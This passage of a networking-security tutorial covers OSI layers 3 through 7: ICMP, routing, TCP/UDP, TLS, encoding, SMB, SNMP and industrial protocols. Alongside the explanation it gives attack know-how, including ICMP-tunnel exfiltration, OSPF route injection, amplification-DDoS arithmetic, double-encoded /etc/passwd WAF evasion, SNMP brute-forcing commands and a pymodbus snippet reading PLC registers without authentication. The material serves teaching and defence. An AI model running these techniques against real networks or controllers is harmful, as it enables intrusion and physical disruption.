Fragment 2: [IP Header: offset=185, MF=1][1480 bytes of data]
Fragment 3: [IP Header: offset=370, MF=0][1040 bytes of data]

MF = More Fragments flag
offset = where this fragment fits in the original packet (in 8-byte units)

Fragmentation attacks:

Teardrop (CVE-1999): Overlapping fragment offsets cause kernel crash during reassembly. Patched in modern OSes but relevant for legacy embedded OT devices.
Fragmentation evasion: Send a signature-triggering payload split across fragments. Some IDS systems don't reassemble fragments before signature matching.
Tiny fragment attack: Force TCP header into second fragment. The first fragment is too small to contain enough of the TCP header for access control decisions.

5.3 ICMP — Internet Control Message Protocol

ICMP is the error-reporting and diagnostic protocol at Layer 3. It runs directly over IP (protocol number 1) and has no ports.

ICMP Types critical for security:
Type 0:  Echo Reply          ← Response to ping
Type 3:  Destination Unreachable
  Code 0: Net Unreachable    ← Routing problem
  Code 1: Host Unreachable   ← Host down or blocked
  Code 3: Port Unreachable   ← No service listening (UDP)
  Code 4: Fragmentation Needed ← MTU discovery
  Code 13: Communication Administratively Prohibited ← Firewall block
Type 5:  Redirect            ← Router telling host to use different route
Type 8:  Echo Request        ← Ping
Type 11: Time Exceeded       ← TTL expired (traceroute mechanism)
Type 13: Timestamp Request
Type 17: Address Mask Request

ICMP Redirect Attack:
ICMP Type 5 allows a router to tell a host "use a different gateway for this destination." An attacker can send spoofed ICMP Redirect messages to reroute traffic through the attacker's machine.

# Observe ICMP traffic
sudo tcpdump -i eth0 icmp -v

# Send ICMP ping with specific options
ping -c 4 192.168.1.1
hping3 -1 -c 4 192.168.1.1         # ICMP ping using hping3

# Test firewall ICMP filtering
ping -c 1 target                   # ICMP Echo → response tells if host is up
hping3 -S -p 80 target             # TCP SYN to port 80 → use when ICMP is blocked

# ICMP tunnel — exfiltrate data in ICMP payloads
# icmptunnel, ptunnel — tools that tunnel IP traffic inside ICMP
# Commonly used to bypass captive portals and restrictive firewalls
# Detection: ICMP packets with large or unusual payloads
# Normal ping payload: 32-64 bytes
# ICMP tunnel payload: up to 1400 bytes, consistent size, high frequency

5.4 Routing and Routing Protocols

Static routing: Administrator manually configures routes. Stable, predictable, but doesn't adapt to topology changes. Common in small networks and OT environments where predictability matters.

Dynamic routing protocols:

Protocol	Layer	Type	Used In
RIP v2	L7 over UDP	Distance vector	Legacy, small networks
OSPF	L3 (IP proto 89)	Link state	Enterprise, campus
EIGRP	L3 (IP proto 88)	Hybrid	Cisco networks
BGP	L7 over TCP 179	Path vector	Internet, ISPs
IS-IS	L2 (directly)	Link state	ISP backbone, large enterprise

Routing protocol attacks:

OSPF Route Injection:
OSPF authenticates with MD5 or plain text passwords. In many deployments, authentication is disabled entirely. An attacker who can send OSPF packets (by being on the same L2 segment as a router, or by compromising a router) can inject false routes.

OSPF attack scenario:
1. Attacker joins OSPF domain (sends Hello packets with Area ID)
2. If authentication disabled or key known → attacker becomes OSPF neighbour
3. Attacker advertises route with low cost to a critical subnet
4. All routers update their routing tables to send traffic through attacker
5. MITM or traffic black-hole achieved at routing level

Tools: Scapy (craft OSPF packets), FRRouting (full routing suite)
Detection: Monitor for new OSPF neighbours, unexpected route changes

BGP Hijacking (covered in 1.1): Advertising false routes for IP ranges you don't own. RPKI (Resource Public Key Infrastructure) provides cryptographic route origin validation.

5.5 IPSec — Layer 3 Security

IPSec is the native security protocol for Layer 3. It provides:

Authentication Header (AH, protocol 51): Integrity and authentication, no encryption
Encapsulating Security Payload (ESP, protocol 50): Encryption + integrity + authentication
Internet Key Exchange (IKE, UDP 500): Key negotiation protocol

Two modes:

Transport mode: Encrypts only the payload, original IP header visible — used for end-to-end between hosts
Tunnel mode: Encrypts entire IP packet, adds new IP header — used for VPN gateways

# Check IPSec SA (Security Association) status
sudo ip xfrm state list             # Linux (xfrm = transform framework)
sudo ip xfrm policy list            # IPSec policies

# Wireshark filters for IPSec:
# esp  → show ESP traffic (encrypted, but you can see headers)
# isakmp → show IKE key exchange
# If you have the keys, Wireshark can decrypt ESP traffic

Key Insight: Layer 3 is where routing decisions happen, and routing decisions control which paths traffic takes. Controlling routing at L3 gives an attacker traffic interception capabilities at internet scale (BGP hijacking) or network scale (OSPF injection). Most networks deploy strong perimeter security at L3 (firewalls, ACLs) but have minimal protection for the routing protocols themselves. In OT networks, routers between zones should use authenticated routing protocols — but rarely do.

6. Layer 4 — Transport

6.1 What Layer 4 Does

Layer 4 is where application-to-application communication is implemented. While Layer 3 gets a packet between two machines, Layer 4 gets data between two specific processes running on those machines. It introduces:

Port numbers: Identify which application (process) should receive the data
Multiplexing: Multiple applications can use the network simultaneously on the same machine
Connection management (TCP): Establishing, maintaining, and terminating connections
Reliability (TCP): Acknowledgements, retransmission, flow control, congestion control
Connectionless delivery (UDP): Minimal overhead, no guarantees

6.2 Port Numbers

Ports are 16-bit numbers (0-65535) that identify specific applications or services.

Port ranges:
  0-1023:     Well-Known Ports (require root/admin to bind)
  1024-49151: Registered Ports (IANA registered applications)
  49152-65535: Dynamic/Ephemeral Ports (used by clients for outgoing connections)

Critical well-known ports — know these cold:
  20/TCP  → FTP Data
  21/TCP  → FTP Control
  22/TCP  → SSH
  23/TCP  → Telnet (INSECURE)
  25/TCP  → SMTP (mail sending)
  53/TCP+UDP → DNS
  67/UDP  → DHCP Server
  68/UDP  → DHCP Client
  69/UDP  → TFTP (trivial FTP — no auth, often misconfigured)
  80/TCP  → HTTP
  88/TCP  → Kerberos
  110/TCP → POP3 (email retrieval)
  111/TCP+UDP → RPC (Remote Procedure Call)
  119/TCP → NNTP (Usenet)
  123/UDP → NTP (time synchronisation)
  135/TCP → Microsoft RPC/DCOM
  137/UDP → NetBIOS Name Service
  138/UDP → NetBIOS Datagram Service
  139/TCP → NetBIOS Session Service
  143/TCP → IMAP (email retrieval)
  161/UDP → SNMP (network management)
  162/UDP → SNMP Trap
  389/TCP+UDP → LDAP
  443/TCP → HTTPS
  445/TCP → SMB (Windows file sharing, direct over TCP)
  465/TCP → SMTPS (SMTP over TLS)
  500/UDP → IKE (IPSec key exchange)
  502/TCP → Modbus TCP (industrial — no auth!)
  514/UDP → Syslog
  587/TCP → SMTP Submission
  593/TCP → RPC over HTTP
  636/TCP → LDAPS (LDAP over TLS)
  873/TCP → rsync
  993/TCP → IMAPS
  995/TCP → POP3S
  1080/TCP → SOCKS proxy
  1194/UDP → OpenVPN
  1433/TCP → Microsoft SQL Server
  1521/TCP → Oracle Database
  1723/TCP → PPTP VPN
  2049/TCP+UDP → NFS
  2375/TCP → Docker daemon (INSECURE — no TLS)
  2376/TCP → Docker daemon (TLS)
  2483/TCP → Oracle DB with TLS
  3306/TCP → MySQL/MariaDB
  3389/TCP → RDP (Remote Desktop)
  3478/UDP → STUN (WebRTC)
  4444/TCP → Metasploit default listener
  4786/TCP → Cisco Smart Install (extremely dangerous, weaponised)
  5000/TCP → Docker Registry, Flask dev server
  5432/TCP → PostgreSQL
  5900/TCP → VNC
  5985/TCP → WinRM (HTTP)
  5986/TCP → WinRM (HTTPS)
  6379/TCP → Redis (often exposed with no auth!)
  6443/TCP → Kubernetes API server
  8080/TCP → HTTP alternate (common for web apps, Burp proxy default)
  8443/TCP → HTTPS alternate
  9200/TCP → Elasticsearch (often exposed with no auth!)
  27017/TCP → MongoDB (often exposed with no auth!)
  47808/UDP → BACnet (building automation — no auth)
  44818/TCP → EtherNet/IP (industrial — CIP protocol)
  102/TCP → S7comm (Siemens PLC — Stuxnet used this)
  20000/TCP → DNP3 over TCP (power grid SCADA)

6.3 TCP — Transmission Control Protocol

TCP provides a reliable, ordered, error-checked byte stream between two applications. It achieves this through:

The Three-Way Handshake — Connection Establishment:

Client                          Server
  │                               │
  │──── SYN (seq=x) ────────────→ │  Client initiates
  │                               │  Server: "I see your request"
  │ ←── SYN-ACK (seq=y, ack=x+1) │  Server acknowledges + sends own seq
  │                               │
  │──── ACK (ack=y+1) ──────────→ │  Client acknowledges server's seq
  │                               │
  │         [Connected]           │
  │                               │
  │──── DATA ───────────────────→ │
  │ ←── ACK ──────────────────── │

SYN: Synchronise — "I want to establish a connection, my starting sequence number is x"
ACK: Acknowledge — "I received your data up to sequence number n"
seq: Sequence number — tracks position of data in the byte stream
ack: Acknowledgement number — "I've received everything up to here, send me this next"

Why sequence numbers matter for security:
Early TCP implementations used predictable sequence numbers. An attacker could predict the server's sequence number, forge a TCP ACK, and inject data into a connection without completing the handshake — TCP session hijacking. Modern OSes use cryptographically random ISNs (Initial Sequence Numbers) per RFC 6528.

TCP Flags — the complete set:

Flag	Hex	Meaning	Security Relevance
SYN	0x02	Synchronise — initiate connection	SYN flood, port scanning
ACK	0x10	Acknowledge received data	ACK scan bypasses stateless firewalls
FIN	0x01	Finish — graceful close	FIN scan
RST	0x04	Reset — immediate close	RST injection to terminate connections
PSH	0x08	Push — deliver immediately	Not security-relevant
URG	0x20	Urgent — urgent pointer valid	Used in some evasion techniques
ECE	0x40	ECN-Echo — congestion signalling	Not typically security-relevant
CWR	0x80	Congestion Window Reduced	Not typically security-relevant

Four-Way Termination — Connection Teardown:

Client                          Server
  │                               │
  │──── FIN (seq=x) ────────────→ │  Client done sending
  │ ←── ACK (ack=x+1) ─────────  │  Server acknowledges
  │                               │  [Server may still send data]
  │ ←── FIN (seq=y) ───────────── │  Server done sending
  │──── ACK (ack=y+1) ──────────→ │  Client acknowledges
  │                               │
  │         [Closed]              │

The TIME_WAIT state: After sending the final ACK, the client waits 2×MSL (Maximum Segment Lifetime, typically 60-240 seconds) before fully closing. This ensures the final ACK was received. TIME_WAIT exhaustion is a DoS vector — flood connections to force TIME_WAIT states until the system runs out of ephemeral ports.

TCP SYN Flood:

SYN flood attack:
1. Attacker sends large volume of SYN packets (often with spoofed source IPs)
2. Server allocates resources for each half-open connection (SYN_RECEIVED state)
3. Server sends SYN-ACK to spoofed addresses (no response comes back)
4. Server's connection table fills up
5. Legitimate connection requests are rejected — DoS

Mitigation: SYN cookies
  Instead of allocating state on SYN, server encodes connection parameters
  into the SYN-ACK sequence number cryptographically
  State is only allocated when valid ACK comes back
  No state for half-open connections → SYN flood ineffective

Check SYN cookie status on Linux:
cat /proc/sys/net/ipv4/tcp_syncookies
# 1 = enabled (default on modern kernels when under attack)
# 0 = disabled

6.4 UDP — User Datagram Protocol

UDP provides a minimal transport with no connection establishment, no acknowledgements, no flow control, and no ordering guarantees.

UDP Header (8 bytes — much simpler than TCP's 20 bytes):
┌─────────────────┬─────────────────┐
│  Source Port    │  Dest Port      │  2 + 2 = 4 bytes
├─────────────────┼─────────────────┤
│    Length       │    Checksum     │  2 + 2 = 4 bytes
└─────────────────┴─────────────────┘
│         Data                      │
└───────────────────────────────────┘

UDP is used when:

Speed matters more than reliability: DNS (retry is easy), VoIP, video streaming
Application-level reliability: The application handles retransmission if needed
Broadcast/Multicast: TCP cannot broadcast; UDP can
Simple request/response: DHCP, DNS, SNMP — one packet out, one packet back

UDP-based amplification DDoS:
UDP's connectionless nature enables amplification attacks. The attacker sends a small UDP request with a spoofed source IP (victim's IP) to a server with a large response. The server sends a large response to the victim.

Amplification factors:
  DNS:     28-54x (small query, large response with DNSSEC)
  NTP:     556x (monlist command — CVE-2013-5211)
  SSDP:    30x
  Memcached: 51,000x (CVE-2018-1000115 — this was the 1.7 Tbps attack)
  CLDAP:   70x

Attack formula:
  1. Attacker sends 100 Mbps of spoofed UDP queries
  2. With 50x amplification → victim receives 5 Gbps
  3. With 1,000 reflectors → 5 Tbps saturates any link

Mitigation:
  BCP38: ISPs filter spoofed source IPs (prevents amplification source)
  Rate limiting: Limit DNS response rate per source IP
  Disable unused services: NTP monlist disabled by default since ntpd 4.2.7

QUIC — The Modern Transport:
QUIC (Quick UDP Internet Connections) is a L4 protocol built on UDP, developed by Google, standardised in RFC 9000 (2021). It powers HTTP/3.

QUIC advantages:
  - Zero RTT connection establishment (vs TCP's 1 RTT + TLS's 1-2 RTT)
  - Built-in encryption (TLS 1.3 integrated — not optional)
  - Independent streams (one stream's loss doesn't block others)
  - Connection migration (IP address can change without dropping connection)
  - Used by: Google services, Cloudflare, Meta, ~25% of internet traffic (2024)

Security implications:
  - QUIC traffic is UDP, which many firewalls/IDS process less thoroughly than TCP
  - Always encrypted → prevents inspection without interception
  - Connection migration → complicates network forensics (connection ID instead of 5-tuple)
  - Fallback to TCP+TLS if UDP blocked → attackers cannot force QUIC only

Key Insight: The transport layer is where most network security controls operate — firewalls filter by port number, IDS/IPS inspect transport-layer behaviour, connection tracking is at Layer 4. Understanding TCP state (SYN, SYN-ACK, established, TIME_WAIT) and UDP's statelessness is essential for understanding how firewalls work, how to evade them, and how to build detection rules. Every port scanner, every firewall rule, every network IDS signature starts at Layer 4.

7. Layer 5 — Session

7.1 What Layer 5 Does

Layer 5 manages sessions — logical dialogues between applications. It provides:

Session establishment, maintenance, and termination
Session synchronisation (checkpoints for recovery)
Session multiplexing (multiple sessions over one transport connection)

In practice, the Session layer is the most abstract and least distinctly implemented of the seven layers. In the TCP/IP world, its functions are largely absorbed by the Application layer and the Transport layer. But conceptually it remains important, and several protocols and mechanisms specifically implement Session layer functionality.

7.2 Session Layer Protocols

NetBIOS (Network Basic Input/Output System):
NetBIOS provides session services for Windows networking — name registration, name resolution, and session establishment. Runs over UDP 137-138 (NetBIOS Name Service and Datagram Service) and TCP 139 (NetBIOS Session Service).

NetBIOS is legacy technology but remains pervasive in enterprise environments for backward compatibility. It is the basis of several critical attack techniques:

# NetBIOS name resolution (legacy Windows name resolution)
nmblookup -A 192.168.1.100          # NetBIOS names for IP address
nmblookup "WORKGROUP"               # Find all machines in workgroup

# NetBIOS scanning — enumerate Windows machines
nbtscan 192.168.1.0/24

# NetBIOS names have specific suffixes indicating service:
# <00> = Workstation service
# <20> = File Server service
# <1D> = Master Browser
# <1B> = Domain Master Browser

RPC — Remote Procedure Call:
RPC allows a program to call functions on a remote system as if they were local. Microsoft's implementation (MSRPC) is the foundation of:

Active Directory (Kerberos, LDAP, replication use RPC)
Windows management (WMI)
SMB
DCOM

RPC uses a portmapper (TCP/UDP 111 on Unix, TCP 135 on Windows)
to tell clients which port a specific RPC service is listening on.
This is why Windows systems have many high ports open — RPC services
bind to random high ports and register with the portmapper.

RPC attacks:

MS03-026 (2003): Buffer overflow in Windows RPC service — used by Blaster and Welchia worms to infect millions of machines
MS17-010 (2017): EternalBlue — exploited SMBv1 over RPC, used by WannaCry and NotPetya
CVE-2022-26809: Windows RPC RCE vulnerability, CVSS 9.8, required no authentication

7.3 TLS Handshake — Session Layer in Practice

TLS (Transport Layer Security) is commonly described as a Presentation layer protocol (for its encryption), but its handshake and session establishment functions are clearly Session layer. The TLS handshake establishes:

Which cipher suite to use
Server (and optionally client) authentication via certificates
Session key derivation

TLS 1.3 Handshake (simplified):
Client                              Server
  │                                   │
  │── ClientHello ─────────────────→  │  Supported ciphers, TLS version, random
  │   + key_share (Diffie-Hellman)    │  Client's DH public key
  │                                   │
  │ ←─ ServerHello ─────────────────  │  Selected cipher, server's DH public key
  │ ←─ {Certificate} ───────────────  │  Server's certificate (encrypted in TLS 1.3)
  │ ←─ {CertificateVerify} ─────────  │  Proof server owns the private key
  │ ←─ {Finished} ──────────────────  │
  │                                   │
  │── {Finished} ───────────────────→ │
  │                                   │
  │═══════════[Encrypted Data]════════│

{} = already encrypted using derived session key
Key: Both sides compute identical session key from DH exchange
     (Perfect Forward Secrecy — key not derived from certificate private key)

TLS attack surface:

Downgrade attacks: POODLE (CVE-2014-3566) forced SSLv3; DROWN (CVE-2016-0800) exploited SSLv2
BEAST (CVE-2011-3389): Exploited CBC mode in TLS 1.0
Heartbleed (CVE-2014-0160): OpenSSL heap buffer over-read in TLS heartbeat extension — leaked server memory including private keys, session tokens, passwords. One of the most impactful vulnerabilities ever discovered.
Certificate validation failures: Many implementations historically failed to properly validate certificates (wrong hostname, expired, self-signed). HTTPS everywhere means certificate validation is now enforced in browsers.

# Check TLS configuration of a server
openssl s_client -connect target:443 -tls1_2    # Force TLS 1.2
openssl s_client -connect target:443            # Negotiate highest supported

# SSLScan — comprehensive TLS testing
sslscan target:443

# TestSSL.sh — detailed TLS security testing
testssl.sh target:443
# Shows: supported versions, cipher suites, vulnerabilities (BEAST, POODLE, etc.)

# Check certificate details
openssl s_client -connect target:443 </dev/null 2>/dev/null | \
    openssl x509 -noout -text | grep -E "Subject:|Issuer:|Not After"

# Enumerate TLS certificate information (useful for OSINT)
# Certificates reveal: organisation name, internal hostnames (SANs),
# email addresses, sometimes infrastructure details

Key Insight: The Session layer is where authentication and encryption sessions are established. Attacking TLS (the most important session protocol in existence) is a rich field — every major TLS vulnerability has had massive real-world impact because TLS is on every HTTPS connection. Understanding how TLS establishes sessions is prerequisite to understanding SSL stripping, certificate pinning bypass, TLS interception proxies, and the entire HTTPS ecosystem.

8. Layer 6 — Presentation

8.1 What Layer 6 Does

Layer 6 is responsible for data format translation. It ensures that data from the application layer of one system can be read by the application layer of another system, regardless of internal representation differences. It handles:

Encoding/decoding: Converting data to a transmittable format and back
Encryption/decryption: Transforming data to protect confidentiality
Compression/decompression: Reducing data size for transmission

Like Layer 5, Layer 6 is not implemented as a distinct layer in TCP/IP. Its functions are performed by specific protocols (TLS for encryption, HTTP Content-Encoding for compression) or by the application itself.

8.2 Data Encoding Formats

ASCII and Unicode:
Every text character transmitted on a network is encoded as a numeric value. ASCII (7-bit, 128 characters) is the historical standard. Unicode (UTF-8, UTF-16, UTF-32) extends this to cover all human writing systems.

Security implication of encoding:
Different systems interpret the same byte sequences differently based on encoding. This has been the source of many vulnerabilities:

UTF-8 multi-byte sequences and security:
  Normal: /etc/passwd  = 0x2F 0x65 0x74 0x63 ...
  Encoded: /%65%74%63/passwd  (URL encoding of 'e', 't', 'c')
           = /etc/passwd after decoding

  Some web application firewalls decode only once.
  Double encoding: %%36%35 → %65 → 'e' after two decode steps
  Some WAFs only decode once, missing the double-encoded attack

Unicode normalisation attacks:
  Some characters look visually identical but have different code points
  U+002F = "/" (normal slash)
  U+FF0F = "／" (fullwidth solidus) — visually identical
  A system that normalises before validation may accept ／etc/passwd
  and then access /etc/passwd after normalisation

Base64:
Base64 encodes binary data as printable ASCII characters. It is NOT encryption — it is encoding. Base64 is used to:

Transmit binary data in text-based protocols (email attachments in MIME)
Obfuscate (not secure) data from casual inspection
Encode credentials in HTTP Basic Authentication
Encode PowerShell commands to bypass simple keyword detection

# Encode
echo "admin:password" | base64      # YWRtaW46cGFzc3dvcmQ=

# Decode
echo "YWRtaW46cGFzc3dvcmQ=" | base64 -d   # admin:password

# HTTP Basic Auth header:
# Authorization: Basic YWRtaW46cGFzc3dvcmQ=
# This is NOT encrypted or secure — trivially decoded
# Only safe over HTTPS

# Detecting base64 in logs (common in PowerShell attacks)
grep -P '[A-Za-z0-9+/]{50,}={0,2}' /var/log/auth.log
# PowerShell -EncodedCommand is always base64
# Defenders must decode and inspect these

8.3 Compression and Security

CRIME and BREACH — Compression Oracle Attacks:
If data is compressed before being encrypted, and an attacker can inject data into the stream and observe the encrypted output length, they can infer information about the plaintext. Compression reduces repetition — if an attacker's injected string reduces the compressed size, it means the string appears in the plaintext.

CRIME (CVE-2012-4929): Exploited TLS-level compression (DEFLATE) to recover HTTPS cookies. Fixed by disabling TLS-level compression.
BREACH (2013): Exploited HTTP-level compression (gzip). Not a CVE but a design weakness. HTTPS body compression can leak secrets even when TLS is uncompromised.

BREACH attack in brief:
1. Attacker can make victim's browser send authenticated HTTP requests
   (through JavaScript injection on another page)
2. HTTP response is compressed+encrypted
3. Attacker injects guesses into the URL: ?csrf_guess=a, ?csrf_guess=b, etc.
4. Measures encrypted response length
5. When guess matches part of the real CSRF token, compression is more effective
   and encrypted response is shorter
6. Character by character, attacker recovers the full CSRF token

This works because gzip compresses repeated strings efficiently.
If the secret appears twice (real + attacker's guess), the compressed size drops.

8.4 Encryption at Layer 6

While IPSec operates at Layer 3, TLS at Layers 5-6, and application-level encryption at Layer 7, the Presentation layer is conceptually where encryption transforms plaintext to ciphertext and back.

For security professionals, the critical understanding is:

Encryption placement matters enormously:

End-to-end (application layer encryption, e.g., PGP email):
  [User A] → [encrypted] → [Server] → [encrypted] → [User B]
  Server sees: only encrypted data. Cannot read content.

TLS (transport/presentation encryption, e.g., HTTPS):
  [User A] → [encrypted] → [Server] → [plaintext] → [User B's server]
  The TLS-terminating server sees plaintext.
  CDN, load balancers, inspection proxies: all see plaintext

Network layer encryption (IPSec):
  [Host A] → [encrypted] → [VPN Gateway] → [plaintext] → [internal network]
  Everything beyond the VPN gateway is plaintext
  Lateral movement after VPN access is unencrypted unless additional layers exist

This hierarchy is why Zero Trust architectures use end-to-end or application-level encryption even inside the "trusted" network — because TLS termination points and VPN gateways represent points where traffic is cleartext.

Key Insight: Layer 6 is where data format vulnerabilities live — encoding attacks, compression oracles, serialisation vulnerabilities. It is also where encryption is logically applied, and understanding which layer terminates encryption determines what any given system can inspect. A CDN that terminates TLS sees your plaintext. An IPSec VPN gateway sees plaintext past the gateway. This shapes both attack and defence architecture.

9. Layer 7 — Application

9.1 What Layer 7 Does

Layer 7 is the layer closest to the user. Application layer protocols define the rules for specific types of communication — how web browsers request pages, how email is delivered, how domain names are resolved, how files are transferred, and how industrial controllers receive commands.

Layer 7 is where the vast majority of security vulnerabilities exist. SQL injection, XSS, CSRF, command injection, authentication bypasses — these are all Layer 7 vulnerabilities. The application's logic, not the network infrastructure, is the attack surface.

9.2 Critical Application Layer Protocols

HTTP/HTTPS:

HTTP Request:
  GET /index.html HTTP/1.1          ← Method, URI, version
  Host: example.com                 ← Target host
  User-Agent: Mozilla/5.0...        ← Client identification
  Accept: text/html                 ← Content types accepted
  Cookie: session=abc123            ← Session token ← ATTACK TARGET
  Authorization: Bearer <JWT>       ← Auth token ← ATTACK TARGET
  Content-Length: 0
  [blank line]

HTTP Response:
  HTTP/1.1 200 OK
  Content-Type: text/html
  Set-Cookie: session=xyz789; HttpOnly; Secure; SameSite=Strict
  Strict-Transport-Security: max-age=31536000; includeSubDomains
  Content-Security-Policy: default-src 'self'
  X-Frame-Options: DENY
  [blank line]
  [body]

Security headers in responses:
  HSTS: Forces HTTPS for specified duration
  CSP: Controls what resources can load (prevents XSS impact)
  X-Frame-Options: Prevents clickjacking
  X-Content-Type-Options: nosniff: prevents MIME sniffing

DNS:

DNS Transaction:
  Query:   A record for www.example.com?
  Response: www.example.com → 93.184.216.34

DNS record types and security:
  A:    IPv4 address mapping       ← Forward lookup
  AAAA: IPv6 address mapping
  CNAME: Alias to another name     ← Dangling CNAME = subdomain takeover vulnerability
  MX:   Mail server                ← Target for email spoofing if SPF/DKIM/DMARC missing
  TXT:  Arbitrary text             ← SPF, DKIM, DMARC verification records live here
  NS:   Authoritative nameservers  ← NS takeover = complete domain hijacking
  PTR:  Reverse lookup (IP → name)
  SOA:  Zone authority information
  SRV:  Service location           ← Used by Active Directory (Kerberos, LDAP SRV records)

SPF (Sender Policy Framework):
  TXT record listing which IPs may send email for a domain
  "v=spf1 ip4:203.0.113.0/24 include:sendgrid.net -all"
  Without SPF: anyone can send email claiming to be from your domain

DKIM (DomainKeys Identified Mail):
  Email digitally signed with private key
  Public key in DNS TXT record
  Without DKIM: email content can be forged/modified in transit

DMARC (Domain-based Message Authentication):
  Policy for handling emails that fail SPF/DKIM
  "v=DMARC1; p=reject; rua=mailto:dmarc@example.com"
  p=reject: reject emails failing authentication
  Without DMARC with reject: phishing emails appear to come from your domain

SMB — Server Message Block:
SMB is the Windows file and printer sharing protocol. It runs on TCP 445 (direct) and TCP 139 (over NetBIOS). SMB is the most attacked protocol in enterprise environments.

SMB versions and security:
  SMBv1: No encryption, no integrity, multiple critical vulnerabilities
         EternalBlue (MS17-010) exploits SMBv1 — WannaCry, NotPetya
         Should be DISABLED everywhere. Microsoft disabled it by default in Windows 10/Server 2019

  SMBv2: Introduced in Vista/2008. Improved performance and security.
  SMBv3: Introduced in Windows 8/2012. Full encryption support.

SMB signing:
  Authentication and integrity protection for SMB sessions
  Prevents NTLM relay attacks (where captured NTLM authentication is relayed to another server)
  Required on domain controllers but NOT enforced client-side by default
  This is why NTLM relay attacks (Responder + ntlmrelayx) work so effectively

Check SMB signing:
nmap --script smb2-security-mode -p 445 target_ip
# "message signing enabled but not required" → vulnerable to relay attack
# "message signing enabled and required" → relay attack prevented

SNMP — Simple Network Management Protocol:
SNMP manages and monitors network devices. Runs on UDP 161 (queries) and UDP 162 (traps).

SNMP versions and security (critical for OT environments):
  SNMPv1: Community strings (plaintext passwords), no encryption
           Default communities: "public" (read), "private" (read/write)

  SNMPv2c: Minor improvements, still plaintext community strings

  SNMPv3: Authentication (MD5/SHA) + Encryption (DES/AES)
           Only secure version — should be the only one deployed

SNMP attack scenarios:
  Reconnaissance: Read MIB (Management Information Base) to get:
    - Device model, firmware version (for targeted exploitation)
    - Interface configurations, routing tables, ARP tables
    - System uptime, CPU/memory utilisation
    - Installed software list (Windows SNMP)

  Exploitation: Write access with default "private" community:
    - Change device configuration
    - Disable interfaces
    - Redirect routing
    - On managed switches: change VLAN assignments, disable ports

# SNMP enumeration
snmpwalk -v2c -c public 192.168.1.1                    # Walk entire MIB
snmpwalk -v2c -c public 192.168.1.1 1.3.6.1.2.1.1     # System info
snmpwalk -v2c -c public 192.168.1.1 1.3.6.1.2.1.4.20  # IP address table
snmp-check -c public -v 2c 192.168.1.1                 # Comprehensive enumeration

# SNMP brute force community string
onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt 192.168.1.1

OT/ICS Application Layer Protocols:

These deserve extended treatment because they are unique to industrial environments and have almost no security built in.

Modbus TCP (TCP 502):
  Designed in 1979 for RS-232 serial communication
  No authentication, no encryption, no authorisation
  Anyone on the network can:
    - Read any coil/register (FC01, FC02, FC03, FC04)
    - Write any coil/register (FC05, FC06, FC15, FC16)
    - Execute any function code
    - Cause denial of service by flooding

  Function Codes:
    0x01: Read Coil Status
    0x02: Read Input Status
    0x03: Read Holding Registers      ← Most common
    0x04: Read Input Registers
    0x05: Force Single Coil           ← Write output — direct physical control
    0x06: Preset Single Register
    0x0F: Force Multiple Coils
    0x10: Preset Multiple Registers   ← Set parameters — change setpoints
    0x11: Report Slave ID             ← Device fingerprinting
    0x17: Read/Write Multiple Registers

  Attack example — read all registers:
    import pymodbus.client as ModbusClient
    client = ModbusClient.ModbusTcpClient('192.168.1.100', port=502)
    client.connect()
    result = client.read_holding_registers(0, 100, slave=1)  # Read 100 registers
    print(result.registers)
    # No authentication required

DNP3 (TCP 20000, UDP 20000):
  Used in electric power, water, oil/gas SCADA
  Supports authentication (SA) in DNP3 Secure Authentication v5 (SAv5)
  but baseline DNP3 has no security

  Attack: spoofed DNP3 requests can control field devices
  Stuxnet used a variant of this concept

S7comm (TCP 102 — Siemens S7 PLCs):
  Siemens-proprietary PLC communication protocol
  Used by Stuxnet to communicate with Siemens S7-315 and S7-417 PLCs
  No authentication in original versions
  S7CommPlus (S7-1200/1500) has encryption but has been broken

  Tools: s7-200 (Python library), Snap7 library

EtherNet/IP / CIP (TCP 44818, UDP 2222):
  Used by Allen-Bradley/Rockwell Automation PLCs
  Common Industrial Protocol (CIP) over Ethernet
  No authentication by default

BACnet (UDP 47808):
  Building Automation and Control protocol
  Used for HVAC, lighting, access control in buildings
  No authentication in baseline protocol
  Many BACnet devices exposed on the internet via Shodan

Key Insight: Layer 7 is simultaneously the most critical and most vulnerable layer. All user-visible functionality — and virtually all business logic — is implemented here. Application-layer attacks (SQLi, XSS, command injection) cause the most breaches. Industrial protocols at Layer 7 were designed for reliability in isolated networks, not for security in connected ones. The absence of authentication in Modbus, DNP3, and BACnet is not an oversight — it is a design decision from an era when network isolation was assumed. That assumption is now fatally broken.

10. Encapsulation and Decapsulation — The Full Picture

10.1 The Journey of a Packet

Understanding the complete journey of data from application to physical medium and back is essential for packet analysis, attack design, and forensics. Here is a complete example: your browser requesting http://192.168.1.100/.

APPLICATION (Layer 7):
  Browser constructs HTTP request:
  "GET / HTTP/1.1\r\nHost: 192.168.1.100\r\nUser-Agent: ...\r\n\r\n"

SESSION/PRESENTATION (Layers 5-6):
  If HTTPS: TLS encrypts the HTTP data (assume plain HTTP for this example)

TRANSPORT (Layer 4):
  TCP wraps HTTP data in a segment:
  [Src Port: 54321][Dst Port: 80][Seq: 1000][Ack: 0][Flags: ACK+PSH]
  [HTTP Data: "GET / HTTP/1.1..."]
  ↑ Note: Three-way handshake already completed before this data segment

NETWORK (Layer 3):
  IP wraps TCP segment in a packet:
  [Version: 4][TTL: 64][Protocol: 6 (TCP)]
  [Src IP: 192.168.1.5][Dst IP: 192.168.1.100]
  [TCP Segment]

DATA LINK (Layer 2):
  ARP resolves 192.168.1.100 to MAC 11:22:33:44:55:66 (already in cache)
  Ethernet wraps IP packet in a frame:
  [Dst MAC: 11:22:33:44:55:66][Src MAC: AA:BB:CC:DD:EE:FF]
  [EtherType: 0x0800 (IPv4)]
  [IP Packet]
  [FCS: CRC32]

PHYSICAL (Layer 1):
  Ethernet frame converted to electrical signals on the wire
  10101010... transmitted as voltage levels on Cat6 cable

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

At the RECEIVING END — Decapsulation (reverse order):

PHYSICAL (Layer 1):
  Electrical signals → bits → Ethernet frame

DATA LINK (Layer 2):
  Frame received: is Dst MAC mine? YES (or broadcast)
  FCS valid? YES → pass up
  Strip Ethernet header and trailer → expose IP packet

NETWORK (Layer 3):
  IP packet: is Dst IP mine? YES (192.168.1.100)
  TTL valid? YES → decrement (now 63)
  Protocol: 6 (TCP) → pass TCP segment up to TCP handler

TRANSPORT (Layer 4):
  TCP segment: Dst Port 80 → is there an application listening on port 80? YES
  Check sequence numbers, acknowledge
